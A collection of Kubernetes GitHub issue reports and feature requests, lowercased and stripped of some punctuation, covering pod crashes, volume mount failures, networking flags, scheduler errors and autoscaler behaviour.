   <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-5pflh  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   default-token-5pflh:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-5pflh\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason   age                   from                                   message\r   ----     ------   ----                  ----                                   -------\r   warning  backoff  40s  x776 over 175m   kubelet, ip-172-20-4-145.ec2.internal  back-off restarting failed container\r    \r \r   what you expected to happen  :\r \r pod to start successfully with my container running and available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r spawn a deployment with image  inanimate/engage . i have not encountered this problem with any other container.\r \r something like this is the easiest way to reproduce:\r \r    \r kubectl run test --image=inanimate/engage\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:16z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r  also tested on minikube v1.10.3 with same result \r \r - cloud provider or hardware configuration:\r \r aws, stackpointcloud deployed nodes running coreos\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1911.3.0\r version_id=1911.3.0\r build_id=2018-11-05-1815\r pretty_name=\ container linux by coreos 1911.3.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux ip-172-20-4-156.ec2.internal 4.14.78-coreos  1 smp mon nov 5 17:42:07 utc 2018 x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux\r    \r \r \r <!-- do not edit below this line -->\r 

i'm proposing a best practice for kubernetes ux:    group namespace with cluster, not name       rationale  teams will frequently be exposed to the existence of multiple clusters: - vagrant on laptop for development on airplane - testing new version of kubernetes software - multiple divisions in company who refuse to share nodes - multi-cloud/multi-region   the tuple of  clustername, namespace  uniquely identifies a group of resources, globally. a bare namespace string alone does not because teams may sometimes want to use the same namespace name in multiple clusters.    the tuple of  clustername, namespace  will be a \ thing\  in user's minds.  some ui operations: - show me all the  clustername, namespace  to which i have access to - show me the ones i have accessed recently - give  clusternamea, namespacea  a cute nickname for use in the ui. - in a global list of resources, click on  clusternamea, namespacea  and show me more resources in that namespace. - take all the resources in  clusternamea, namespacea  and make copies in  clusternameb, namespaceb      i'm not saying to actually render this as something like   a.clusters.k8s.example.com, mynamespace   in a ui.  but, we should pick a few format that make sense and use them.  and nicknames for these will help the ui. - allocate me a new namespace in the appropriate cluster, based on company policy, lowest price, type of work being done, etc.  the tuple of  clustername, namespace  is maps to/from an url string prefix, e.g.   a.clusters.example.com, foo   :left_right_arrow:  https://a.clusters.example.com/api/v1/namespace/foo .  this opens up some possibilities: - vanity names for hosted namespaces: proxy from  https://mycluster.com/k8s/api/v1/  to  https://a.clusters.example.com/api/v1/namespace/foo/ .    everything after that prefix stays the same. - virtual  cluster, namespace , behind which there is machinery to map to some physical  cluster, namespace .  machinery can point to different  cluster, namespace  in event of maintenance or dr.  you can build a fully-qualified url for a resource given  clustername, namespace  plus api version plus tuple of  kind, name .  we already show  kind/name  in the cli.  for example,  kubectl create -f file  outputs all the  kind/name  of what it created.  if you already have an url string prefix for the clustername and namespace, then you can just paste these together.     current state  things that follow this principle: - in kubectl, the \ context\  concept encompasses both cluster and namespace  but also some other stuff .  things that do not: -  kubectl get --all-namespaces pods  shows  name  as  namespace/name .  we should just add another column in this case which shows the namespace. -  kubectl should accept slash-based specification of namespace and resource   10591  - in cockpit, name is shown right next to namespace: https://github.com/cockpit-project/cockpit/pull/2362, but \ cluster\  is on the tab.  what will it do when there are multiple clusters? - probably more stuff.

aws has a feature which is called termination protection and i thought it could be a good protection for the kubernetes master instance.  termination protection requires you to shut it down before you can terminate the instance. it is supposed to prevent accidental termination of your master instance.  i turn it on manually every time i create a cluster on aws.  any thoughts about this?

problem  various logging frameworks and the elk stack need to be rapidly validated for survivability over time.   solution  create an e2e that soaks the container-space with logs at a well defined rate, so users can verify that logging holds up to tb, pb, etc. scale.  cc @kubernetes/sig-scalability  @kubernetes/sig-testing   @timothysc

the scheduler knows which pods are on which nodes. it figures out all volumes on a node by the sum of its pods.  it does this to enforce constraints in a cloud environment.  it is possible to delete a pvc while a pod is still running.  the pod will continue to function, the pv remains attached to a node.    when the scheduler attempts to place new pods on the node, it looks up all its existing pvs and their backing pvcs , except the pvc has been deleted, an error is thrown, and the scheduler fails.  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l157  the user gets an ugly error message about a namespace they don't own. their pod won't run and the error message is confusing.  @kubernetes/rh-storage @kubernetes/sig-storage

one thing that a few people have mentioned is that it's not easy to find all types that satisfy an interface. we should consider adopting a convention for specifying that.  the  go faq  https://golang.org/doc/faq implements_interface  proposes the following:      var _ i = t{}   // verify that t implements i.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r pod-cidr/allocate-node-cidrs/cluster-cidr\r ---\r \r   is this a bug report or feature request?    choose one :  bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  kubernetes-master\r \r   environment  :\r -   cloud provider or hardware configuration  :  none\r -   os    e.g. from /etc/os-release :  ubuntu 14.04.5 lts\r -   kernel    e.g.  uname -a  :  4.2.0-27-generic\r -   install tools  :  kube-up.sh\r -   others  :  none\r \r \r   what happened  :\r follow the action \ ./kubelet --help\ , i can find the description of \ --pod-cird\  like this:\r    \r      --pod-cidr string       the cidr to use for pod ip addresses, only used in standalone mode.  in cluster mode, this is obtained from the master.\r    \r but, i found that \ --pod-cird\  is still effective under cluster mode use kubenet network .\r      \r \r   what you expected to happen  :\r     according to my understand, \ --pod-cidr\  should be not work when using cluster mode, and this node must be assigned an ip subnet through the \ --allocate-node-cidrs=true --cluster-cidr=<cidr>\  controller-manager command-line options\r \r \r   how to reproduce it    as minimally and precisely as possible :\r     1  deploy cluster env\r     2  add kubelet config: --pod-cidr=178.16.28.1/24 --network-plugin=kubenet\r \r   anything else do we need to know  :    \r i try to config both of them, \ --pod-cidr\  will still be effectived:\r     1  add kubelet config: --pod-cidr=178.16.28.1/24 --network-plugin=kubenet\r     2  add kube-controller-manager config: --allocate-node-cidrs=true --cluster-cidr=123.1.1.1/16\r \r \r is it a bug or my understand is wrong? who can help me answer? thx!

a user reported seeing these in their  kubectl describe nodes  output\r \r    \r   1d        40m        894    {kubelet ip-172-20-120-149.eu-west-1.compute.internal}            warning        containergcfailed    operation timeout: context deadline exceeded\r   3h        39m        24    {kubelet ip-172-20-120-149.eu-west-1.compute.internal}            warning        imagegcfailed        operation timeout: context deadline exceeded\r    \r \r along with some of these errors in the kubelet:\r \r    \r feb 27 13:37:32 ip-172-20-120-149 kubelet 1548 : i0227 13:37:32.158919    1548 fshandler.go:131  du and find on following dirs took 4.380398297s:  /var/lib/docker/overlay/0ed1ae2108a2bab46fbcd4f07d9aefa90\r feb 27 13:37:32 ip-172-20-120-149 kubelet 1548 : i0227 13:37:32.160414    1548 fshandler.go:131  du and find on following dirs took 4.398187772s:  /var/lib/docker/overlay/527b08719c6c372acb23bccef801542f6\r feb 27 13:37:32 ip-172-20-120-149 kubelet 1548 : i0227 13:37:32.157624    1548 fshandler.go:131  du and find on following dirs took 4.395390593s:  /var/lib/docker/overlay/583b7f32ed55ea2a133632c4612acc51b\r    \r \r

is this a request for help?   yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?   \r cloud, provider, gce, network, unavailable, cni, route, routecontroller\r \r ---\r \r   is this a bug report or feature request?  \r bug report\r \r   kubernetes version   v1.6.1:\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : container linux by coreos beta  1353.4.0 \r -   kernel   4.10.4-coreos-r1\r -   install tools  : n/a: static binaries launched via systemd unit files\r -   others  :\r \r \r   what happened  :\r if the following flags are set on kubernetes components. pods cannot be scheduled. the scheduler reports no nodes are available. the status of all nodes report ' networkunavailable true mon, 01 jan 0001 00:00:00 +0000  noroutecreated routecontroller failed to create a route'.\r \r   flags\r  - kube-apiserver, kube-controller-manager, kubelet components started with the --cloud-provider=gce flag\r  - kube-controller-manager started with the --cloud-provider=gce --allocate-node-cidrs=false and --configure-cloud-routes=false\r  - kubelet component configured with the --cloud-provider=gce --network-plugin=cni\r \r \r \r   what you expected to happen  :\r i expect the kube-controller-manager routecontroller would not attempt to create routes, instead delegating the responsibility to the cni network plugin, and the making nodes available for scheduling.\r \r \r   how to reproduce it   :\r /opt/bin/kube-apiserver \\\r   --bind-address=0.0.0.0 \\\r   --etcd-servers=http://127.0.0.1:2379 \\\r   --allow-privileged=true \\\r   --service-cluster-ip-range=172.16.0.0/24 \\\r   --secure-port=443 \\\r   --advertise-address=${coreos_private_ipv4} \\\r   --authorization-mode=rbac \\\r   --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,defaultstorageclass,resourcequota \\\r   --tls-cert-file=/etc/ssl/certs/server.pem \\\r   --tls-private-key-file=/etc/ssl/certs/server-key.pem \\\r   --client-ca-file=/etc/ssl/certs/ca.pem \\\r   --service-account-key-file=/etc/ssl/certs/server-key.pem \\\r   --storage-backend=etcd3 \\\r   --runtime-config=api/all=true \\\r   --anonymous-auth=false \\\r   --cloud-provider=gce\r \r /opt/bin/kube-controller-manager \\\r   --master=http://127.0.0.1:8080 \\\r   --address=127.0.0.1 \\\r   --kubeconfig=/etc/kubernetes/kubeconfig \\\r   --cluster-name=cluster.local \\\r   --service-cluster-ip-range=172.16.0.0/24 \\\r   --service-account-private-key-file=/etc/ssl/certs/server-key.pem \\\r   --root-ca-file=/etc/ssl/certs/ca.pem \\\r   --v=2 \\\r   --cloud-provider=gce \\\r   --allocate-node-cidrs=false \\\r   --configure-cloud-routes=false\r \r /opt/bin/kube-scheduler \\\r   --master=http://127.0.0.1:8080 \\\r   --address=127.0.0.1 \\\r   --kubeconfig=/etc/kubernetes/kubeconfig \\\r   --v=2\r \r /opt/bin/kubelet \\\r   --kubeconfig=/etc/kubernetes/kubeconfig \\\r   --require-kubeconfig=true \\\r   --allow-privileged=true \\\r   --register-node=true \\\r   --cni-bin-dir=/opt/cni/bin \\\r   --cni-conf-dir=/etc/kubernetes/cni/net.d \\\r   --network-plugin=cni \\\r   --cluster-dns=172.16.0.10 \\\r   --cluster-domain=cluster.local \\\r   --client-ca-file=/etc/ssl/certs/ca.pem \\\r   --cloud-provider=gce\r \r \r   anything else we need to know  :\r removing --cloud-provider=gce from all components will resolve the issue but that causes other cloud-provider features like the kubernetes.io/gce-pd storage class provisioner to be unavailable.\r \r

 \r currently federation only supports google clouddns, route53 and coredns. i would love if if cloudflare could also be supported since we use them for our dns zones. i'm sure this will be a popular addition as well. it's already supported for externaldns. i'm sure most of the work can be driven from existing providers and externaldns:\r \r https://github.com/kubernetes-incubator/external-dns/blob/master/provider/cloudflare.go\r \r maybe it would be nice to merge them at some point. is there anybody already working on this or will it be my summer project?\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r there are many files under  test/fixtures  folder which are not used by any of the tests which can be removed.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r this is my config file:\r cat pv.yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: spooler-pv\r   labels:\r     type: amazonebs\r spec:\r   capacity:\r     storage: 10gi\r   accessmodes:\r     - readwriteonce\r   awselasticblockstore:\r     volumeid: vol-052cc8c6ae92e214d\r     fstype: ext4\r \r cat pvc.yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: spooler-pvc\r   labels:\r     type: amazonebs\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r \r  cat sqs-spooler.yaml\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: sqs-spooler\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         volumemounts:\r         - mountpath: \ /spooler\ \r           name: pvd\r         ports:\r         - containerport: 80\r       volumes:\r       - name: pvd\r         persistentvolumeclaim:\r            claimname: spooler-pvc\r       nodeselector:\r         role: dev-app\r \r events:\r   type     reason       age   from                   message\r   ----     ------       ----  ----                   -------\r   warning  failedmount  1h    kubelet, 172.31.7.174  mountvolume.setup failed for volume \ spooler-pv\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv\r output: running scope as unit run-r24f4606e014640748e8a771749f56094.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d does not exist\r   warning  failedmount  59m  kubelet, 172.31.7.174  mountvolume.setup failed for volume \ spooler-pv\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv\r output: running scope as unit run-ra54a8737717d4af5b7230ff31cf83928.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d does not exist\r   warning  failedmount  59m  kubelet, 172.31.7.174  mountvolume.setup failed for volume \ spooler-pv\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv\r output: running scope as unit run-rfe57fa128fcb4a5ea45d09b34ef59395.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d does not exist\r   warning  failedmount  51m  x4 over 58m    kubelet, 172.31.7.174  unable to mount volumes for pod \ sqs-spooler-f77567c64-92h4f_default b2ed6d84-6970-11e8-be59-0a7d17a031ee \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ sqs-spooler-f77567c64-92h4f\ . list of unattached/unmounted volumes= pvd \r   warning  failedsync   15m  x20 over 58m   kubelet, 172.31.7.174  error syncing pod\r   warning  failedmount  5m  x34 over 58m    kubelet, 172.31.7.174   combined from similar events : mountvolume.setup failed for volume \ spooler-pv\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d /var/lib/kubelet/pods/b2ed6d84-6970-11e8-be59-0a7d17a031ee/volumes/kubernetes.io~aws-ebs/spooler-pv\r output: running scope as unit run-rb5ecf8f585fc43158929733756055b6d.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-052cc8c6ae92e214d does not exist\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux master01.com 4.4.0-1052-aws  61-ubuntu smp mon feb 12 23:05:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r manual deployment\r - others:\r

hello!\r kubernetes version :1.9.5\r \r i used prometheus to monitor kubernetes cluster.finding no metric about volume.then i checked the k8s project,finding volumestats not used.why?and how to monitor pv&pvc resource usage.very thanks\r \r ! image  https://user-images.githubusercontent.com/18585129/41586766-230ee384-73e0-11e8-865f-61de58e8879a.png \r \r

we need test cases for windows volume mapping permissions  read-only / read-write  instead of linux permissions. they should only run with the ginkgo focus  --node-os-distro=windows  set.\r \r the test cases needed are:\r 1. create a pod with a host mapped volume mapped read-only. files should be able to be read, but not written\r 2. same test case with emptydir\r 3. create a pod with one host volume but different mount permissions for each container. one container should be read only, the other should be read-write\r \r \r this will replace the similar test cases on linux:\r \r    \r  sig-storage  emptydir volumes  should support  root,0644,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0666,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0666,tmpfs   nodeconformance   conformance \r    \r \r \r  \r 

what would you like to be added  :\r provide option to forward ports in interactive mode similar to the option of ssh\r \r   why is this needed  :\r i want to use kubernetes to run machine learning stuff. i run my training and tensorboard in parallel. i don't want to expose tensorboard outside of the pod since it might contain sensitive data.

upgrading a cluster from 1.12.3 to 1.13.0 causes pods to break because the \ volumemode\  is missing.\r \r   what happened  :\r \r all pods with volumes became unavailable:\r \r  dec  6 09:31:46 experience kubelet 24011 : e1206 09:31:46.522733   24011 desired_state_of_world_populator.go:296  error processing volume \ media\  for pod \ djangofluent-tst-test-6cfc6555-9bfm6_fluentdemo 0dd95f6c-ed7e-11e8-afe8-5254000919ee \ : cannot get volumemode for volume: djangofluent-tst-media \r \r  dec  6 09:31:46 experience kubelet 24011 : e1206 09:31:46.919223   24011 desired_state_of_world_populator.go:296  error processing volume \ media\  for pod \ djangofluent-prd-production-7c765b5c58-6kprb_fluentdemo 0dd8554c-ed7e-11e8-afe8-5254000919ee \ : cannot get volumemode for volume: djangofluent-prd-media \r \r  dec  6 09:47:38 experience kubelet 1926 : e1206 09:47:38.027881    1926 desired_state_of_world_populator.go:296  error processing volume \ redis-data\  for pod \ redis-master-0_infra eb93df30-ed7d-11e8-afe8-5254000919ee \ : cannot get volumemode for volume: redis-data-redis-master-0 \r \r   what you expected to happen  :\r \r kubelet would default to  filesystem  when the  volumemode  is not present.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   run a kubernetes 1.12.3 cluster  installed bare metal with kubeadm .\r    apt-get dist-upgrade  for kubelet, kubeadm, kubectl\r    systemctl restart kubelet \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.12.3 -> 1.13.0\r - os  e.g. from /etc/os-release : debian 9.6\r - install tools: kubeadm on bare metal\r \r <!-- do not edit below this line -->\r 

https://github.com/kubernetes/kubernetes/pull/21030 discussion_r53344014  cc @bgrant0607 @nikhiljindal @ironcladlou @kargakis @kubernetes/deployment

i initially thought this wasn't necessary since we tear down the clusters after each e2e test run. however, the plan for presubmits is to not recycle the clusters after each test run to avoid cluster bring up and tear down times. if we retain the clusters we have to clean up the  kube-dns  configmap entries we create in the clusters to have a clean start at the beginning of each run.  kubefed unjoin  is learning this functionality  pr  39338  and that's the easiest way to cleanup  kube-dns  entries. so we need to run  kubefed unjoin  in each cluster in  federation-down.sh \r \r cc @kubernetes/sig-federation-bugs @shashidharatd

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r pr  46197 adds validation of clusterip when changing service type. e2e test case  dns should provide dns for externalname services  failed after the pr because the validation of specified clusterip. this test case will run on both  pull-kubernetes-e2e-gce-etcd3  and  pull-kubernetes-e2e-kops-aws . unfortunately, the two ci jobs have different  service-cluster-ip-range . \r \r ref: https://github.com/kubernetes/kubernetes/pull/46197 issuecomment-307294770\r \r   what you expected to happen  :\r we should make  service-cluster-ip-range  config of ci jobs the same.\r \r   how to reproduce it    as minimally and precisely as possible :\r see that pr.\r \r   anything else we need to know  :\r \r @kubernetes/sig-network-test-failure\r /cc @thockin @freehan\r

 \r   problem description:  \r \r multiple components in the kubelet make decisions about numa-related assignments:\r \r - hugetlb cgroup controller and hugetlbfs volume plugin   proposal  https://github.com/kubernetes/community/pull/837  . limits and volumes are managed per-memory-node on numa systems. \r - container network interface. network interfaces including sr-iov virtual functions have affinity to one numa node, with measurable performance ramifications.\r - cpu manager   proposal  https://github.com/kubernetes/community/pull/654  . the cpu manager makes decisions about the set of cpus a container is allowed to run on.\r - device manager   proposal  https://github.com/kubernetes/community/pull/695  . the device manager makes concrete device assignments to satisfy container resource requirements. generally devices are attached to e.g. one pcie switch. in case there is a misalignment between the device manager and the cpu manager, all communication between the cpu and the device can incur an additional hop over the interconnect fabric.\r \r each of these components will need to coordinate about the resource assignment in order to avoid cross numa assignments. the problems related to this coordination are tricky; reasonable cross domain assignments such as “one exclusive core on the same numa node as my assigned network interface” will involve both cni and the cpu manager.\r \r @kubernetes/sig-node-feature-requests

i initially saw this error in cri-containerd cluster e2e test, so i spent sometime to debug. however i found that even regular cluster e2e fails:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17744\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17736\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17735\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17734\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17730\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17719\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17717\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17714\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/17708\r   a lot more...\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r nov 15 04:08:59.702: couldn't delete ns: \ e2e-tests-job-j4sl2\ : unable to retrieve the complete list of server apis: metrics.k8s.io/v1beta1: the server could not find the requested resource  &discovery.errgroupdiscoveryfailed{groups:map schema.groupversion error{schema.groupversion{group:\ metrics.k8s.io\ , version:\ v1beta1\ }:  errors.statuserror  0xc420fe0a20 }} \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:291\r    \r \r this is super noisy, and makes it much harder to identify and debug other failures.\r \r i tried to file https://github.com/kubernetes/kubernetes/pull/55764, but it doesn't work. the test of that pr fails with the same error. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55764/pull-kubernetes-e2e-gce/6433/\r \r @cheftako @sttts @deads2k @lavalamp \r @kubernetes/sig-api-machinery-bugs @kubernetes/sig-instrumentation-bugs

the kubelet.exe cni flag can be set by\r \r --network-plugin=xxx\r \r can someone tell me, what are the supported cni plugins for windows server 2016?\r \r i tried weave-net on my windows server 2016 node, but it failed. weave-net is not supported on windows.  56696\r \r thank you very much.\r

is this a bug report or feature request?  :\r  \r for example, if a user start kube-apiserver with  --admission-control=resourcequota,foo,resourcequota  , quota will be calculated twice when one object is created.\r \r /assign\r \r i will fix this.\r this issue is addressed for some suggestions.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i have a horizontalpodautoscaler like this:\r \r    \r   irrelevant yaml ommited\r spec:\r   maxreplicas: 200\r   minreplicas: 50\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: production-magento\r   targetcpuutilizationpercentage: 80\r status:\r   currentcpuutilizationpercentage: 62\r   currentreplicas: 50\r   desiredreplicas: 50\r    \r \r however, for the past few days, i haven't seen the autoscaler scaling up my pods, even though  i know  it should have: i am watching  with  watch   my hpa and have noticed multiple time the  80% cpu percentage  limit was crossed.\r \r what i do keep seeing is the following message   the desired replica count is increasing faster than the maximum scale rate , when i actually would have expected to see my pods scale up.\r \r    \r name:                                                  production-magento\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           <none>\r creationtimestamp:                                     wed, 07 feb 2018 09:04:52 -0800\r reference:                                             deployment/production-magento\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  62%  99m  / 80%\r min replicas:                                          50\r max replicas:                                          200\r conditions:\r   type            status  reason            message\r   ----            ------  ------            -------\r   abletoscale     true    readyfornewscale  the last scale time was sufficiently old as to warrant a new scale\r   scalingactive   true    validmetricfound  the hpa was able to succesfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  true    toofewreplicas    the desired replica count is increasing faster than the maximum scale rate\r events:           <none>\r    \r \r   what you expected to happen  :\r \r i would expect the hpa to scale up my pods  up to  maxreplicas  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i think  but have not been able to verify  the issue is that my  maxreplicas  is set to  200  and the hpa currently calculates that it needs to autoscale over  200  replicas. \r \r one way to reproduce is to modify the code in charge of hpa and artificially inflate the  desiredreplicas  to always be over  maxreplicas . this should prevent the autoscaler from ever scaling up, even if it has room to do so.\r \r   anything else we need to know?  :\r \r i searched the github issues and found issue  53670 which states:\r \r > since upgrading to kube 1.7.6, i'm seeing my hpas scale above it's maxreplicas. because of this, it's rapidly creating pods, then terminating them, 